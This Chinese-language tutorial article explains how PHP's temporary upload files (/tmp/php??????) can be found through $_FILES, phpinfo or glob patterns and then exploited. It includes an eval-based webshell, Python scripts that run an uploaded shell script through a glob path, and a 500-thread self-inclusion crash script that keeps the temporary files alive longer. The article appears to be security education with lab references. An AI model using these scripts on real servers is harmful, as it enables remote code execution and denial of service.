利用PHP POST临时文件机制实现任意文件上传的方法详解

 更新时间:2022年04月21日 16:00:14   作者:zzzzls~  
这篇文章主要介绍了利用 PHP POST 临时文件机制实现任意文件上传,同时该过程也会打断 php 对临时文件的处理,虽然最终仍会被删除,但相较之前可以明显看出临时文件在磁盘的中存在的时间变长了,需要的朋友可以参考下

原理

向 PHP 发送 Post 数据包,如果数据包中包含文件,无论 php 代码中有没有处理文件上传的逻辑,php 都会将这个文件保存为一个临时文件

  • 该文件默认存储在 /tmp 目录中『可通过 php.iniupload_tmp_dir 指定存储位置』
  • 文件名为 php[6个随机字符],例:phpG4ef0q
  • 若本次请求正常结束,临时文件会被自动删除
  • 若非正常结束,比如崩溃,临时文件可能会被永久保留

文件包含漏洞找不到可以利用的文件时,即可利用这个方法,找到临时文件名,然后包含之!

如何获取临时文件名

$_FILES

可以通过 $_FILES 获取文件信息

Array
(
    [name] => run.sh
    [full_path] => run.sh
    [type] => 
    [tmp_name] => /tmp/phpoFnbQf
    [error] => 0
    [size] => 10
)

phpinfo

phpinfo 页面会将当前请求上下文中所有变量都打印出来,若我们直接向 phpinfo页面送包含文件的 post请求,则即可在返回包里找到 $_FILES 变量的内容,从而拿到临时文件名

glob

若上述方法都无法实施,在 Linux 中,还可以通过 glob 通配符 定位文件

glob 简单使用:

  • * :代替 0 个或 任意个字符
  • ? :代替 1 个字符
  • [...]:匹配其中一个字符,例 [a,b,c] 匹配字符
  • a / b / c{a, b}:匹配 a 或者 b

如何利用该文件

组合请求

虽然文件在请求结束后就自动删除了,但是我们可以把执行 shell 和 上传文件 组合在一个请求中,php 代码如下:

该 php 可以直接执行 shell, 但本例仅为展示如何利用临时文件

# a.php
<?php
	$code = $_GET['code'];
	eval($code);
?>

Python 脚本利用

# run.sh 文件内容:
# echo $PATH

import requests
# 上传文件同时,执行 shell
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.post(url, files={'file': open('./run.sh')})
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

延长临时文件存在时间

部分情况下,我们无法将 上传文件 和 执行shell 组合在一起,利用下述方法使得文件存在更多时间,从而在其他位置进行利用!

可以通过 文件包含 让 php 包含自身从而导致死循环,随后 php 守护进程会因内存溢出而崩溃,但是 php 自身是不会因为错误直接退出的,它会清空自己的内存堆栈,以便从错误中恢复,这就保证了 web 服务的正常运转。

同时该过程也会打断 php 对临时文件的处理,虽然最终仍会被删除,但相较之前可以明显看出临时文件在磁盘的中存在的时间变长了!

基于此,我们便可以编写并发脚本,不断发起 post 文件的请求

import requests
from threading import Thread
def test():
    url = "http://localhost:8080/include.php?file=include.php"
    r = requests.post(url, files={'file': open('./run.sh')})
    print(r.text)
lst = []
for _ in range(500):
    t = Thread(target=test)
    lst.append(t)
    t.start()
for item in lst:
    item.join()

可以看到,当我们在请求时,磁盘中总是存在尚未被删除的临时文件。直至请求停止,文件被全部删除

于此同时,便可以在其他地方使用上述 glob 路径通配符泛式加载临时文件

import requests

url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.get(url)
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

参考

无字母数字webshell之提高篇

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

PHP临时文件机制与利用的思考

https://www.anquanke.com/post/id/183046

PHP文件包含漏洞(利用phpinfo)复现

https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md

glob(7) — Linux manual page

https://man7.org/linux/man-pages/man7/glob.7.html

操作文件和目录

http://billie66.github.io/TLCL/book/chap05.html

到此这篇关于利用 PHP POST 临时文件机制实现任意文件上传的文章就介绍到这了,更多相关php post任意文件上传内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • php插件Xajax使用方法详解

    php插件Xajax使用方法详解

    这篇文章主要为大家详细介绍了php插件Xajax的使用方法,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2017-08-08
  • 使用YUI+Ant 实现JS CSS压缩

    使用YUI+Ant 实现JS CSS压缩

    YUI库是一组工具和控件,它们用JavaScript写成, 为的是用DOM 脚本,DHTML和AJAX等技术创建丰富的网页交互式应用程序。YUI 基于BSD协议,对所有的使用方式都是免费的。YUI 项目包括YUI 库和两个创建时工具:YUI Compressor (压缩)和YUI Doc(JavaScripts代码的文档引擎)
    2014-09-09
  • Yii2中事务的使用实例代码详解

    Yii2中事务的使用实例代码详解

    这篇文章主要介绍了Yii2中事务的使用实例代码详解的相关资料,非常不错,具有参考借鉴价值,需要的朋友可以参考下
    2016-09-09
  • php使用ICQ网关发送手机短信

    php使用ICQ网关发送手机短信

    php发送手机短信实例代码。
    2013-10-10
  • 详解PHP合并多个PDF文件的方法

    详解PHP合并多个PDF文件的方法

    这篇文章主要介绍了PHP合并多个PDF文件的示例代码,本文通过示例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2022-07-07
  • php获取目录下所有文件及目录(多种方法)(推荐)

    php获取目录下所有文件及目录(多种方法)(推荐)

    这篇文章主要介绍了php获取目录下所有文件及目录多种方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2019-05-05
  • laravel框架创建授权策略实例分析

    laravel框架创建授权策略实例分析

    这篇文章主要介绍了laravel框架创建授权策略,结合实例形式分析了laravel框架创建授权策略的相关步骤、实现方法与操作注意事项,需要的朋友可以参考下
    2019-11-11
  • PHP FATAL ERROR: CALL TO UNDEFINED FUNCTION BCMUL()解决办法

    PHP FATAL ERROR: CALL TO UNDEFINED FUNCTION BCMUL()解决办法

    这篇文章主要介绍了PHP FATAL ERROR: CALL TO UNDEFINED FUNCTION BCMUL()解决办法,需要的朋友可以参考下
    2014-05-05
  • php 实现简单的登录功能示例【基于thinkPHP框架】

    php 实现简单的登录功能示例【基于thinkPHP框架】

    这篇文章主要介绍了php 实现简单的登录功能,结合实例形式分析了基于thinkPHP框架登录功能视图与控制器简单实现技巧,需要的朋友可以参考下
    2019-12-12
  • 使用PHP similar text计算两个字符串相似度

    使用PHP similar text计算两个字符串相似度

    在网站开发中,我们经常使用php similar text 计算两个字符串相似度。本文涉及到similar text函数语法、用法详解,感兴趣的朋友一起学习吧
    2015-11-11

最新评论